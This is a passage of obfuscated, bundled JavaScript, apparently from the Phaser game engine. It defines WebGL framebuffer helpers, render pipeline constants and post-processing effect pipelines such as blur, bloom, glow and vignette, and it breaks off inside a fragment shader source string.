_0x42727f['STATIC_DRAW']), _0x42727f['drawArrays'](_0x42727f['TRIANGLES'], 0x0, 0x6), _0x5e9e06 && this['renderer']['setBlendMode'](_0x1a237f), _0x42727f['bindFramebuffer'](_0x42727f['FRAMEBUFFER'], null), _0x42727f['bindTexture'](_0x42727f['TEXTURE_2D'], null), this['resetUVs'](); }, 'copyFrameRect': function (_0x39589b, _0x1e2b39, _0x43ea82, _0xe4383a, _0x3adaf8, _0x12b7cf, _0x2b8db4, _0x3e2d1f) { void 0x0 === _0x2b8db4 && (_0x2b8db4 = !0x0), void 0x0 === _0x3e2d1f && (_0x3e2d1f = !0x0); var _0x1228b2 = this['gl']; _0x1228b2['bindFramebuffer'](_0x1228b2['FRAMEBUFFER'], _0x39589b['framebuffer']['webGLFramebuffer']), _0x1228b2['framebufferTexture2D'](_0x1228b2['FRAMEBUFFER'], _0x1228b2['COLOR_ATTACHMENT0'], _0x1228b2['TEXTURE_2D'], _0x39589b['texture']['webGLTexture'], 0x0), _0x2b8db4 && (_0x3e2d1f ? _0x1228b2['clearColor'](0x0, 0x0, 0x0, 0x0) : _0x1228b2['clearColor'](0x0, 0x0, 0x0, 0x1), _0x1228b2['clear'](_0x1228b2['COLOR_BUFFER_BIT'])), _0x1228b2['activeTexture'](_0x1228b2['TEXTURE0']), _0x1228b2['bindTexture'](_0x1228b2['TEXTURE_2D'], _0x1e2b39['texture']['webGLTexture']), _0x1228b2['copyTexSubImage2D'](_0x1228b2['TEXTURE_2D'], 0x0, 0x0, 0x0, _0x43ea82, _0xe4383a, _0x3adaf8, _0x12b7cf), _0x1228b2['bindFramebuffer'](_0x1228b2['FRAMEBUFFER'], null), _0x1228b2['bindTexture'](_0x1228b2['TEXTURE_2D'], null); }, 'copyToGame': function (_0x46f469) { var _0x13db37 = this['gl']; this['setShader'](this['copyShader']), this['set1i']('uMainSampler', 0x0), this['set1f']('uBrightness', 0x1), this['renderer']['popFramebuffer'](), _0x13db37['activeTexture'](_0x13db37['TEXTURE0']), _0x13db37['bindTexture'](_0x13db37['TEXTURE_2D'], _0x46f469['texture']['webGLTexture']), _0x13db37['bufferData'](_0x13db37['ARRAY_BUFFER'], this['vertexData'], _0x13db37['STATIC_DRAW']), _0x13db37['drawArrays'](_0x13db37['TRIANGLES'], 0x0, 0x6); }, 'drawFrame': function (_0x1eb4e4, _0x2f5b8f, _0x1a0388, _0x509492) { void 0x0 === _0x1a0388 && (_0x1a0388 = !0x0), void 0x0 === _0x509492 && (_0x509492 = this['colorMatrix']); var _0x3b09cc = this['gl']; this['setShader'](this['colorMatrixShader']), this['set1i']('uMainSampler', 0x0), this['set1fv']('uColorMatrix', _0x509492['getData']()), this['set1f']('uAlpha', _0x509492['alpha']), _0x3b09cc['activeTexture'](_0x3b09cc['TEXTURE0']), _0x3b09cc['bindTexture'](_0x3b09cc['TEXTURE_2D'], _0x1eb4e4['texture']['webGLTexture']), _0x2f5b8f ? (_0x3b09cc['viewport'](0x0, 0x0, _0x2f5b8f['width'], _0x2f5b8f['height']), _0x3b09cc['bindFramebuffer'](_0x3b09cc['FRAMEBUFFER'], _0x2f5b8f['framebuffer']['webGLFramebuffer']), _0x3b09cc['framebufferTexture2D'](_0x3b09cc['FRAMEBUFFER'], _0x3b09cc['COLOR_ATTACHMENT0'], _0x3b09cc['TEXTURE_2D'], _0x2f5b8f['texture']['webGLTexture'], 0x0)) : _0x3b09cc['viewport'](0x0, 0x0, _0x1eb4e4['width'], _0x1eb4e4['height']), _0x1a0388 ? _0x3b09cc['clearColor'](0x0, 0x0, 0x0, 0x0) : _0x3b09cc['clearColor'](0x0, 0x0, 0x0, 0x1), _0x3b09cc['clear'](_0x3b09cc['COLOR_BUFFER_BIT']), _0x3b09cc['bufferData'](_0x3b09cc['ARRAY_BUFFER'], this['vertexData'], _0x3b09cc['STATIC_DRAW']), _0x3b09cc['drawArrays'](_0x3b09cc['TRIANGLES'], 0x0, 0x6), _0x3b09cc['bindFramebuffer'](_0x3b09cc['FRAMEBUFFER'], null), _0x3b09cc['bindTexture'](_0x3b09cc['TEXTURE_2D'], null); }, 'blendFrames': function (_0x1d3680, _0x364ef7, _0x5d3229, _0x233b83, _0x5d90fe, _0x501e26) { void 0x0 === _0x233b83 && (_0x233b83 = 0x1), void 0x0 === _0x5d90fe && (_0x5d90fe = !0x0), void 0x0 === _0x501e26 && (_0x501e26 = this['linearShader']); var _0x5aec71 = this['gl']; this['setShader'](_0x501e26), this['set1i']('uMainSampler1', 0x0), this['set1i']('uMainSampler2', 0x1), this['set1f']('uStrength', _0x233b83), _0x5aec71['activeTexture'](_0x5aec71['TEXTURE0']), _0x5aec71['bindTexture'](_0x5aec71['TEXTURE_2D'], _0x1d3680['texture']['webGLTexture']), _0x5aec71['activeTexture'](_0x5aec71['TEXTURE1']), _0x5aec71['bindTexture'](_0x5aec71['TEXTURE_2D'], _0x364ef7['texture']['webGLTexture']), _0x5d3229 ? (_0x5aec71['bindFramebuffer'](_0x5aec71['FRAMEBUFFER'], _0x5d3229['framebuffer']['webGLFramebuffer']), _0x5aec71['framebufferTexture2D'](_0x5aec71['FRAMEBUFFER'], _0x5aec71['COLOR_ATTACHMENT0'], _0x5aec71['TEXTURE_2D'], _0x5d3229['texture']['webGLTexture'], 0x0), _0x5aec71['viewport'](0x0, 0x0, _0x5d3229['width'], _0x5d3229['height'])) : _0x5aec71['viewport'](0x0, 0x0, _0x1d3680['width'], _0x1d3680['height']), _0x5d90fe ? _0x5aec71['clearColor'](0x0, 0x0, 0x0, 0x0) : _0x5aec71['clearColor'](0x0, 0x0, 0x0, 0x1), _0x5aec71['clear'](_0x5aec71['COLOR_BUFFER_BIT']), _0x5aec71['bufferData'](_0x5aec71['ARRAY_BUFFER'], this['vertexData'], _0x5aec71['STATIC_DRAW']), _0x5aec71['drawArrays'](_0x5aec71['TRIANGLES'], 0x0, 0x6), _0x5aec71['bindFramebuffer'](_0x5aec71['FRAMEBUFFER'], null), _0x5aec71['bindTexture'](_0x5aec71['TEXTURE_2D'], null); }, 'blendFramesAdditive': function (_0xb299b1, _0x2bef4b, _0x291c93, _0x2161e0, _0x5dc1a9) { this['blendFrames'](_0xb299b1, _0x2bef4b, _0x291c93, _0x2161e0, _0x5dc1a9, this['addShader']); }, 'clearFrame': function (_0x334988, _0x1cd343) { void 0x0 === _0x1cd343 && (_0x1cd343 = !0x0); var _0x17623d = this['gl']; _0x17623d['viewport'](0x0, 0x0, _0x334988['width'], _0x334988['height']), _0x17623d['bindFramebuffer'](_0x17623d['FRAMEBUFFER'], _0x334988['framebuffer']['webGLFramebuffer']), _0x1cd343 ? _0x17623d['clearColor'](0x0, 0x0, 0x0, 0x0) : _0x17623d['clearColor'](0x0, 0x0, 0x0, 0x1), _0x17623d['clear'](_0x17623d['COLOR_BUFFER_BIT']); var _0x2df6f2 = this['renderer']['currentFramebuffer']; _0x17623d['bindFramebuffer'](_0x17623d['FRAMEBUFFER'], _0x2df6f2['webGLFramebuffer']); }, 'setUVs': function (_0x2a2de5, _0x3119fe, _0x5614d5, _0x570b02, _0x24a3b2, _0x28ca93, _0x517c43, _0x9228be) { var _0x4ad75d = this['vertexViewF32']; _0x4ad75d[0x2] = _0x2a2de5, _0x4ad75d[0x3] = _0x3119fe, _0x4ad75d[0x6] = _0x5614d5, _0x4ad75d[0x7] = _0x570b02, _0x4ad75d[0xa] = _0x24a3b2, _0x4ad75d[0xb] = _0x28ca93, _0x4ad75d[0xe] = _0x2a2de5, _0x4ad75d[0xf] = _0x3119fe, _0x4ad75d[0x12] = _0x24a3b2, _0x4ad75d[0x13] = _0x28ca93, _0x4ad75d[0x16] = _0x517c43, _0x4ad75d[0x17] = _0x9228be; }, 'setTargetUVs': function (_0x4a22de, _0x3523f7) { var _0x4dfc07 = _0x3523f7['height'] / _0x4a22de['height']; _0x4dfc07 = _0x4dfc07 > 0.5 ? 0.5 - (_0x4dfc07 - 0.5) : 0.5 - _0x4dfc07 + 0.5, this['setUVs'](0x0, _0x4dfc07, 0x0, 0x1 + _0x4dfc07, 0x1, 0x1 + _0x4dfc07, 0x1, _0x4dfc07); }, 'flipX': function () { this['setUVs'](0x1, 0x0, 0x1, 0x1, 0x0, 0x1, 0x0, 0x0); }, 'flipY': function () { this['setUVs'](0x0, 0x1, 0x0, 0x0, 0x1, 0x0, 0x1, 0x1); }, 'resetUVs': function () { this['setUVs'](0x0, 0x0, 0x0, 0x1, 0x1, 0x1, 0x1, 0x0); } }); _0x190242['exports'] = _0x284e43; }, 0x8cdc: _0x207061 => { _0x207061['exports'] = { 'BITMAPMASK_PIPELINE': 'BitmapMaskPipeline', 'LIGHT_PIPELINE': 'Light2D', 'POINTLIGHT_PIPELINE': 'PointLightPipeline', 'SINGLE_PIPELINE': 'SinglePipeline', 'MULTI_PIPELINE': 'MultiPipeline', 'ROPE_PIPELINE': 'RopePipeline', 'GRAPHICS_PIPELINE': 'GraphicsPipeline', 'POSTFX_PIPELINE': 'PostFXPipeline', 'UTILITY_PIPELINE': 'UtilityPipeline', 'MOBILE_PIPELINE': 'MobilePipeline', 'FX_PIPELINE': 'FxPipeline' }; }, 0x14b51: _0x18c268 => { _0x18c268['exports'] = 'pipelineafterflush'; }, 0x8f68: _0x1fd031 => { _0x1fd031['exports'] = 'pipelinebeforeflush'; }, 0x9d5d: _0x46d90c => { _0x46d90c['exports'] = 'pipelinebind'; }, 0x1017e: _0x12bc36 => { _0x12bc36['exports'] = 'pipelineboot'; }, 0x16ab4: _0x497805 => { _0x497805['exports'] = 'pipelinedestroy'; }, 0xdb08: _0x3c3ec8 => { _0x3c3ec8['exports'] = 'pipelinerebind'; }, 0xe0de: _0x4817c7 => { _0x4817c7['exports'] = 'pipelineresize'; }, 0x12d1d: (_0x19517e, _0x148053, _0xee56b0) => { _0x19517e['exports'] = { 'AFTER_FLUSH': _0xee56b0(0x14b51), 'BEFORE_FLUSH': _0xee56b0(0x8f68), 'BIND': _0xee56b0(0x9d5d), 'BOOT': _0xee56b0(0x1017e), 'DESTROY': _0xee56b0(0x16ab4), 'REBIND': _0xee56b0(0xdb08), 'RESIZE': _0xee56b0(0xe0de) }; }, 0xd61c: (_0x826485, _0x48959b, _0x2772be) => { var _0x42bed8 = _0x2772be(0x145db), _0x47061f = _0x2772be(0x18353), _0x4804a9 = _0x2772be(0x14859), _0x393ed9 = new _0x42bed8({ 'Extends': _0x4804a9, 'initialize': function (_0x1b75da) { _0x4804a9['call'](this, { 'game': _0x1b75da, 'fragShader': _0x47061f }), this['amount'] = 0x1; }, 'onPreRender': function (_0x498595, _0x2d7a96) { _0x498595 = this['getController'](_0x498595), this['set1f']('amount', _0x498595['amount'], _0x2d7a96); } }); _0x826485['exports'] = _0x393ed9; }, 0x10701: (_0x2f7cd4, _0x1f6651, _0x33df1d) => { var _0x189c73 = _0x33df1d(0x145db), _0x24f931 = _0x33df1d(0x5f50), _0x185486 = _0x33df1d(0x14859), _0x50e3dd = new _0x189c73({ 'Extends': _0x185486, 'initialize': function (_0x36851c) { _0x185486['call'](this, { 'game': _0x36851c, 'fragShader': _0x24f931 }), this['steps'] = 0x4, this['offsetX'] = 0x1, this['offsetY'] = 0x1, this['blurStrength'] = 0x1, this['strength'] = 0x1, this['glcolor'] = [0x1, 0x1, 0x1]; }, 'onPreRender': function (_0x453a97) { _0x453a97 = this['getController'](_0x453a97), this['set1f']('strength', _0x453a97['blurStrength']), this['set3fv']('color', _0x453a97['glcolor']); }, 'onDraw': function (_0x2fd255) { var _0xcaa632 = this['getController'](), _0x16bc05 = this['fullFrame1'], _0x3adec4 = this['fullFrame2']; this['copyFrame'](_0x2fd255, _0x3adec4); for (var _0x562c08 = 0x2 / _0x2fd255['width'] * _0xcaa632['offsetX'], _0x266cd2 = 0x2 / _0x2fd255['height'] * _0xcaa632['offsetY'], _0x58470a = 0x0; _0x58470a < _0xcaa632['steps']; _0x58470a++)this['set2f']('offset', _0x562c08, 0x0), this['copySprite'](_0x2fd255, _0x16bc05), this['set2f']('offset', 0x0, _0x266cd2), this['copySprite'](_0x16bc05, _0x2fd255); this['blendFrames'](_0x3adec4, _0x2fd255, _0x16bc05, _0xcaa632['strength']), this['copyToGame'](_0x16bc05); } }); _0x2f7cd4['exports'] = _0x50e3dd; }, 0x229d: (_0x5154b4, _0x139191, _0x29b720) => { var _0x265196 = _0x29b720(0x145db), _0x24bac8 = _0x29b720(0xa22a), _0x17ee6e = _0x29b720(0xc786), _0x3b3557 = _0x29b720(0x17078), _0x318fe4 = _0x29b720(0x14859), _0xeaff21 = new _0x265196({ 'Extends': _0x318fe4, 'initialize': function (_0x1929ce) { _0x318fe4['call'](this, { 'game': _0x1929ce, 'shaders': [{ 'name': 'Gaussian5', 'fragShader': _0x24bac8 }, { 'name': 'Gaussian9', 'fragShader': _0x17ee6e }, { 'name': 'Gaussian13', 'fragShader': _0x3b3557 }] }), this['activeShader'] = this['shaders'][0x0], this['x'] = 0x2, this['y'] = 0x2, this['steps'] = 0x4, this['strength'] = 0x1, this['glcolor'] = [0x1, 0x1, 0x1]; }, 'setQualityLow': function () { return this['activeShader'] = this['shaders'][0x0], this; }, 'setQualityMedium': function () { return this['activeShader'] = this['shaders'][0x1], this; }, 'setQualityHigh': function () { return this['activeShader'] = this['shaders'][0x2], this; }, 'onDraw': function (_0x2b03dd) { var _0x3f1824 = this['getController'](), _0x5e2c46 = this['gl'], _0x26bab6 = this['fullFrame1'], _0x1020da = _0x5e2c46['getParameter'](_0x5e2c46['FRAMEBUFFER_BINDING']); this['bind'](this['shaders'][_0x3f1824['quality']]), _0x5e2c46['activeTexture'](_0x5e2c46['TEXTURE0']), _0x5e2c46['viewport'](0x0, 0x0, _0x2b03dd['width'], _0x2b03dd['height']), this['set1i']('uMainSampler', 0x0), this['set2f']('resolution', _0x2b03dd['width'], _0x2b03dd['height']), this['set1f']('strength', _0x3f1824['strength']), this['set3fv']('color', _0x3f1824['glcolor']); for (var _0x1cb8f4 = 0x0; _0x1cb8f4 < _0x3f1824['steps']; _0x1cb8f4++)this['set2f']('offset', _0x3f1824['x'], 0x0), this['copySprite'](_0x2b03dd, _0x26bab6), this['set2f']('offset', 0x0, _0x3f1824['y']), this['copySprite'](_0x26bab6, _0x2b03dd); _0x5e2c46['bindFramebuffer'](_0x5e2c46['FRAMEBUFFER'], _0x1020da), _0x5e2c46['bindTexture'](_0x5e2c46['TEXTURE_2D'], null), this['copyToGame'](_0x2b03dd); } }); _0x5154b4['exports'] = _0xeaff21; }, 0xc76b: (_0x10a0ea, _0xece42f, _0x28394e) => { var _0x3f3d17 = _0x28394e(0x145db), _0x38b88c = _0x28394e(0x161f2), _0x110703 = _0x28394e(0x14859), _0x3896a9 = new _0x3f3d17({ 'Extends': _0x110703, 'initialize': function (_0x469129) { _0x110703['call'](this, { 'game': _0x469129, 'fragShader': _0x38b88c }), this['isTiltShift'] = !0x1, this['strength'] = 0x1, this['blurX'] = 0x1, this['blurY'] = 0x1, this['radius'] = 0.5, this['amount'] = 0x1, this['contrast'] = 0.2; }, 'onPreRender': function (_0x45f328, _0x19d2cd, _0x53478f, _0x4c2687) { _0x45f328 = this['getController'](_0x45f328), this['set1f']('radius', _0x45f328['radius'], _0x19d2cd), this['set1f']('amount', _0x45f328['amount'], _0x19d2cd), this['set1f']('contrast', _0x45f328['contrast'], _0x19d2cd), this['set1f']('strength', _0x45f328['strength'], _0x19d2cd), this['set2f']('blur', _0x45f328['blurX'], _0x45f328['blurY'], _0x19d2cd), this['setBoolean']('isTiltShift', _0x45f328['isTiltShift'], _0x19d2cd), _0x53478f && _0x4c2687 && this['set2f']('resolution', _0x53478f, _0x4c2687, _0x19d2cd); }, 'onDraw': function (_0x322d08) { this['set2f']('resolution', _0x322d08['width'], _0x322d08['height']), this['bindAndDraw'](_0x322d08); } }); _0x10a0ea['exports'] = _0x3896a9; }, 0x15d54: (_0x53091f, _0x10f4f0, _0x378b93) => { var _0x4106a7 = _0x378b93(0x145db), _0x2f51bd = _0x378b93(0x166fb), _0x5a5d7e = _0x378b93(0x14859), _0x3ad8a3 = new _0x4106a7({ 'Extends': _0x5a5d7e, 'initialize': function (_0x1854ff) { _0x5a5d7e['call'](this, { 'game': _0x1854ff, 'fragShader': _0x2f51bd }), this['scale'] = 0x1, this['feather'] = 0.005, this['thickness'] = 0x8, this['glcolor'] = [0x1, 0.2, 0.7], this['glcolor2'] = [0x1, 0x0, 0x0, 0.4]; }, 'onPreRender': function (_0x2aa83e, _0x4a6ca1, _0x20b61e, _0x15c972) { _0x2aa83e = this['getController'](_0x2aa83e), this['set1f']('scale', _0x2aa83e['scale'], _0x4a6ca1), this['set1f']('feather', _0x2aa83e['feather'], _0x4a6ca1), this['set1f']('thickness', _0x2aa83e['thickness'], _0x4a6ca1), this['set3fv']('color', _0x2aa83e['glcolor'], _0x4a6ca1), this['set4fv']('backgroundColor', _0x2aa83e['glcolor2'], _0x4a6ca1), _0x20b61e && _0x15c972 && this['set2f']('resolution', _0x20b61e, _0x15c972, _0x4a6ca1); }, 'onDraw': function (_0x3e4163) { this['set2f']('resolution', _0x3e4163['width'], _0x3e4163['height']), this['bindAndDraw'](_0x3e4163); } }); _0x53091f['exports'] = _0x3ad8a3; }, 0x15b48: (_0x369380, _0xdded5f, _0x28fcf5) => { var _0x4e3549 = _0x28fcf5(0x145db), _0x505bd6 = _0x28fcf5(0x14859), _0x20bc1c = new _0x4e3549({ 'Extends': _0x505bd6, 'initialize': function (_0xe57969) { _0x505bd6['call'](this, { 'game': _0xe57969 }); }, 'onDraw': function (_0x1d208d) { var _0x30edbd = this['fullFrame1']; this['controller'] ? this['manager']['drawFrame'](_0x1d208d, _0x30edbd, !0x0, this['controller']) : this['drawFrame'](_0x1d208d, _0x30edbd), this['copyToGame'](_0x30edbd); } }); _0x369380['exports'] = _0x20bc1c; }, 0xf84b: (_0x4e855c, _0x5811b5, _0x480d15) => { var _0x4ab5ba = _0x480d15(0x145db), _0xe2fbb1 = _0x480d15(0xbade), _0x1ba147 = _0x480d15(0x14859), _0x137d56 = new _0x4ab5ba({ 'Extends': _0x1ba147, 'initialize': function (_0x33eb7d) { _0x1ba147['call'](this, { 'game': _0x33eb7d, 'fragShader': _0xe2fbb1 }), this['x'] = 0.005, this['y'] = 0.005, this['glTexture']; }, 'onBoot': function () { this['setTexture']('__WHITE'); }, 'setTexture': function (_0x485049) { var _0x16e60d = this['game']['textures']['getFrame'](_0x485049); _0x16e60d && (this['glTexture'] = _0x16e60d['glTexture']); }, 'onDraw': function (_0x705978) { var _0x30c72d = this['getController'](), _0xd2b768 = this['fullFrame1']; this['bind'](), this['set1i']('uMainSampler', 0x0), this['set1i']('uDisplacementSampler', 0x1), this['set2f']('amount', _0x30c72d['x'], _0x30c72d['y']), this['bindTexture'](_0x30c72d['glTexture'], 0x1), this['copySprite'](_0x705978, _0xd2b768), this['copyToGame'](_0xd2b768); } }); _0x4e855c['exports'] = _0x137d56; }, 0x16f5d: (_0x269938, _0x21fc69, _0x48d7cd) => { var _0x421061 = _0x48d7cd(0x145db), _0x5c66e6 = _0x48d7cd(0x17534), _0x10f29f = _0x48d7cd(0x18160), _0x293330 = _0x48d7cd(0x14859), _0x250a18 = _0x48d7cd(0x1139a), _0x12d8a5 = new _0x421061({ 'Extends': _0x293330, 'initialize': function (_0x3d6146, _0x10e7e7) { var _0x30c113 = _0x5c66e6(_0x10e7e7, 'quality', 0.1), _0xbc8b41 = _0x5c66e6(_0x10e7e7, 'distance', 0xa); _0x293330['call'](this, { 'game': _0x3d6146, 'fragShader': _0x250a18['setGlowQuality'](_0x10f29f, _0x3d6146, _0x30c113, _0xbc8b41) }), this['outerStrength'] = 0x4, this['innerStrength'] = 0x0, this['knockout'] = !0x1, this['glcolor'] = [0x1, 0x1, 0x1, 0x1]; }, 'onPreRender': function (_0x29ba80, _0xec8e1b, _0x49e789, _0x2f0f94) { _0x29ba80 = this['getController'](_0x29ba80), this['set1f']('outerStrength', _0x29ba80['outerStrength'], _0xec8e1b), this['set1f']('innerStrength', _0x29ba80['innerStrength'], _0xec8e1b), this['set4fv']('glowColor', _0x29ba80['glcolor'], _0xec8e1b), this['setBoolean']('knockout', _0x29ba80['knockout'], _0xec8e1b), _0x49e789 && _0x2f0f94 && this['set2f']('resolution', _0x49e789, _0x2f0f94, _0xec8e1b); }, 'onDraw': function (_0x452748) { this['set2f']('resolution', _0x452748['width'], _0x452748['height']), this['bindAndDraw'](_0x452748); } }); _0x269938['exports'] = _0x12d8a5; }, 0x12168: (_0x41c8f0, _0x5c6d6d, _0x3c372a) => { var _0x1213d3 = _0x3c372a(0x145db), _0x49035e = _0x3c372a(0x1133f), _0x3ca160 = _0x3c372a(0x14859), _0x192ddb = new _0x1213d3({ 'Extends': _0x3ca160, 'initialize': function (_0x2486a6) { _0x3ca160['call'](this, { 'game': _0x2486a6, 'fragShader': _0x49035e }), this['alpha'] = 0.2, this['size'] = 0x0, this['fromX'] = 0x0, this['fromY'] = 0x0, this['toX'] = 0x0, this['toY'] = 0x1, this['glcolor1'] = [0xff, 0x0, 0x0], this['glcolor2'] = [0x0, 0xff, 0x0]; }, 'onPreRender': function (_0x5fe940, _0x2a8796) { _0x5fe940 = this['getController'](_0x5fe940), this['set1f']('alpha', _0x5fe940['alpha'], _0x2a8796), this['set1i']('size', _0x5fe940['size'], _0x2a8796), this['set3fv']('color1', _0x5fe940['glcolor1'], _0x2a8796), this['set3fv']('color2', _0x5fe940['glcolor2'], _0x2a8796), this['set2f']('positionFrom', _0x5fe940['fromX'], _0x5fe940['fromY'], _0x2a8796), this['set2f']('positionTo', _0x5fe940['toX'], _0x5fe940['toY'], _0x2a8796); } }); _0x41c8f0['exports'] = _0x192ddb; }, 0x18534: (_0x2f2a0e, _0x265a90, _0x2104b5) => { var _0x44cecd = _0x2104b5(0x145db), _0x1c8482 = _0x2104b5(0xc68f), _0x309558 = _0x2104b5(0x14859), _0x18bf36 = new _0x44cecd({ 'Extends': _0x309558, 'initialize': function (_0x7cfe82) { _0x309558['call'](this, { 'game': _0x7cfe82, 'fragShader': _0x1c8482 }), this['amount'] = 0x1; }, 'onPreRender': function (_0x10c33c, _0x674ceb, _0x3ee792, _0x1ad714) { _0x10c33c = this['getController'](_0x10c33c), this['set1f']('amount', _0x10c33c['amount'], _0x674ceb), _0x3ee792 && _0x1ad714 && this['set2f']('resolution', _0x3ee792, _0x1ad714, _0x674ceb); }, 'onDraw': function (_0x51d8c0) { this['set2f']('resolution', _0x51d8c0['width'], _0x51d8c0['height']), this['bindAndDraw'](_0x51d8c0); } }); _0x2f2a0e['exports'] = _0x18bf36; }, 0x878c: (_0x3155d3, _0x53d3ff, _0x379c8e) => { var _0x56d032 = _0x379c8e(0x145db), _0x521fd0 = _0x379c8e(0x169b3), _0x82be82 = _0x379c8e(0x14859), _0x104098 = new _0x56d032({ 'Extends': _0x82be82, 'initialize': function (_0x52ba02) { _0x82be82['call'](this, { 'game': _0x52ba02, 'fragShader': _0x521fd0 }), this['x'] = 0x0, this['y'] = 0x0, this['decay'] = 0.1, this['power'] = 0x1, this['glcolor'] = [0x0, 0x0, 0x0, 0x1], this['samples'] = 0x6, this['intensity'] = 0x1; }, 'onPreRender': function (_0x97731e, _0x1fb302) { var _0x337793 = (_0x97731e = this['getController'](_0x97731e))['samples']; this['set1i']('samples', _0x337793, _0x1fb302), this['set1f']('intensity', _0x97731e['intensity'], _0x1fb302), this['set1f']('decay', _0x97731e['decay'], _0x1fb302), this['set1f']('power', _0x97731e['power'] / _0x337793, _0x1fb302), this['set2f']('lightPosition', _0x97731e['x'], _0x97731e['y'], _0x1fb302), this['set4fv']('color', _0x97731e['glcolor'], _0x1fb302); } }); _0x3155d3['exports'] = _0x104098; }, 0x16415: (_0x483a24, _0x74e538, _0x52a2e8) => { var _0x573292 = _0x52a2e8(0x145db), _0x160f15 = _0x52a2e8(0x11b10), _0xb26467 = _0x52a2e8(0x14859), _0x4ce471 = new _0x573292({ 'Extends': _0xb26467, 'initialize': function (_0x1c2943) { _0xb26467['call'](this, { 'game': _0x1c2943, 'fragShader': _0x160f15 }), this['speed'] = 0.5, this['lineWidth'] = 0.5, this['gradient'] = 0x3, this['reveal'] = !0x1; }, 'onPreRender': function (_0x589ea1, _0x2c5795, _0x247d8f, _0x4eed2b) { _0x589ea1 = this['getController'](_0x589ea1), this['setTime']('time', _0x2c5795), this['set1f']('speed', _0x589ea1['speed'], _0x2c5795), this['set1f']('lineWidth', _0x589ea1['lineWidth'], _0x2c5795), this['set1f']('gradient', _0x589ea1['gradient'], _0x2c5795), this['setBoolean']('reveal', _0x589ea1['reveal'], _0x2c5795), _0x247d8f && _0x4eed2b && this['set2f']('resolution', _0x247d8f, _0x4eed2b, _0x2c5795); }, 'onDraw': function (_0x183d8e) { this['set2f']('resolution', _0x183d8e['width'], _0x183d8e['height']), this['bindAndDraw'](_0x183d8e); } }); _0x483a24['exports'] = _0x4ce471; }, 0x6c95: (_0x27ddfe, _0x55f494, _0xdb9dcf) => { var _0x3b5ee3 = _0xdb9dcf(0x145db), _0x4a353b = _0xdb9dcf(0x9951), _0x5b3f36 = _0xdb9dcf(0x14859), _0x102b34 = new _0x3b5ee3({ 'Extends': _0x5b3f36, 'initialize': function (_0x32afd4) { _0x5b3f36['call'](this, { 'game': _0x32afd4, 'fragShader': _0x4a353b }), this['x'] = 0.5, this['y'] = 0.5, this['radius'] = 0.5, this['strength'] = 0.5; }, 'onPreRender': function (_0x4b88ef, _0x42614b) { _0x4b88ef = this['getController'](_0x4b88ef), this['set1f']('radius', _0x4b88ef['radius'], _0x42614b), this['set1f']('strength', _0x4b88ef['strength'], _0x42614b), this['set2f']('position', _0x4b88ef['x'], _0x4b88ef['y'], _0x42614b); } }); _0x27ddfe['exports'] = _0x102b34; }, 0x10813: (_0x3f23d6, _0x15277d, _0x5d52c9) => { var _0x382b18 = _0x5d52c9(0x145db), _0xa3bcd9 = _0x5d52c9(0xb3e), _0x35d2b8 = _0x5d52c9(0x14859), _0x1ff042 = new _0x382b18({ 'Extends': _0x35d2b8, 'initialize': function (_0x5e6b4f) { _0x35d2b8['call'](this, { 'game': _0x5e6b4f, 'fragShader': _0xa3bcd9 }), this['progress'] = 0x0, this['wipeWidth'] = 0.1, this['direction'] = 0x0, this['axis'] = 0x0, this['reveal'] = !0x1; }, 'onPreRender': function (_0x179f0c, _0x46fb55) { var _0x9c2ebd = (_0x179f0c = this['getController'](_0x179f0c))['progress'], _0x203ad5 = _0x179f0c['wipeWidth'], _0x4d3e8d = _0x179f0c['direction'], _0xe5b0c = _0x179f0c['axis']; this['set4f']('config', _0x9c2ebd, _0x203ad5, _0x4d3e8d, _0xe5b0c, _0x46fb55), this['setBoolean']('reveal', _0x179f0c['reveal'], _0x46fb55); } }); _0x3f23d6['exports'] = _0x1ff042; }, 0xe626: (_0x18a9b9, _0x3b412a, _0xeefc10) => { var _0x2f81e7 = { 'Barrel': _0xeefc10(0xd61c), 'Bloom': _0xeefc10(0x10701), 'Blur': _0xeefc10(0x229d), 'Bokeh': _0xeefc10(0xc76b), 'Circle': _0xeefc10(0x15d54), 'ColorMatrix': _0xeefc10(0x15b48), 'Displacement': _0xeefc10(0xf84b), 'Glow': _0xeefc10(0x16f5d), 'Gradient': _0xeefc10(0x12168), 'Pixelate': _0xeefc10(0x18534), 'Shadow': _0xeefc10(0x878c), 'Shine': _0xeefc10(0x16415), 'Vignette': _0xeefc10(0x6c95), 'Wipe': _0xeefc10(0x10813) }; _0x18a9b9['exports'] = _0x2f81e7; }, 0x17967: (_0x1b9697, _0x3f9474, _0x16bd64) => { var _0x79d9af = _0x16bd64(0x8cdc), _0x5baa37 = _0x16bd64(0x135bb), _0x1b1947 = { 'FX': _0x16bd64(0xe626), 'BitmapMaskPipeline': _0x16bd64(0x7a46), 'Events': _0x16bd64(0x12d1d), 'FXPipeline': _0x16bd64(0x169eb), 'LightPipeline': _0x16bd64(0x17939), 'MobilePipeline': _0x16bd64(0xdccf), 'MultiPipeline': _0x16bd64(0xe0ac), 'PointLightPipeline': _0x16bd64(0xa9af), 'PostFXPipeline': _0x16bd64(0x14859), 'PreFXPipeline': _0x16bd64(0xaa26), 'RopePipeline': _0x16bd64(0x13c91), 'SinglePipeline': _0x16bd64(0x3061), 'UtilityPipeline': _0x16bd64(0x1da5) }; _0x1b1947 = _0x5baa37(!0x1, _0x1b1947, _0x79d9af), _0x1b9697['exports'] = _0x1b1947; }, 0x8a4f: _0xe0b0c9 => { _0xe0b0c9['exports'] = ['#define\x20SHADER_NAME\x20PHASER_ADD_BLEND_FS', 'precision\x20mediump\x20float;', 'uniform\x20sampler2D\x20uMainSampler1;', 'uniform\x20sampler2D\x20uMainSampler2;', 'uniform\x20float\x20uStrength;', 'varying\x20vec2\x20outTexCoord;', 'void\x20main\x20()', '{', '\x20\x20\x20\x20vec4\x20frame1\x20=\x20texture2D(uMainSampler1,\x20outTexCoord);', '\x20\x20\x20\x20vec4\x20frame2\x20=\x20texture2D(uMainSampler2,\x20outTexCoord);', '\x20\x20\x20\x20gl_FragColor\x20=\x20frame1\x20+\x20frame2\x20*\x20uStrength;', '}']['join']('\x0a'); }, 0x1343c: _0x49838f => { _0x49838f['exports'] = ['#define\x20SHADER_NAME\x20PHASER_BITMAP_MASK_FS', 'precision\x20mediump\x20float;', 'uniform\x20vec2\x20uResolution;', 'uniform\x20sampler2D\x20uMainSampler;', 'uniform\x20sampler2D\x20uMaskSampler;', 'uniform\x20bool\x20uInvertMaskAlpha;', 'void\x20main\x20()', '{', '\x20\x20\x20\x20vec2\x20uv\x20=\x20gl_FragCoord.xy\x20/\x20uResolution;', 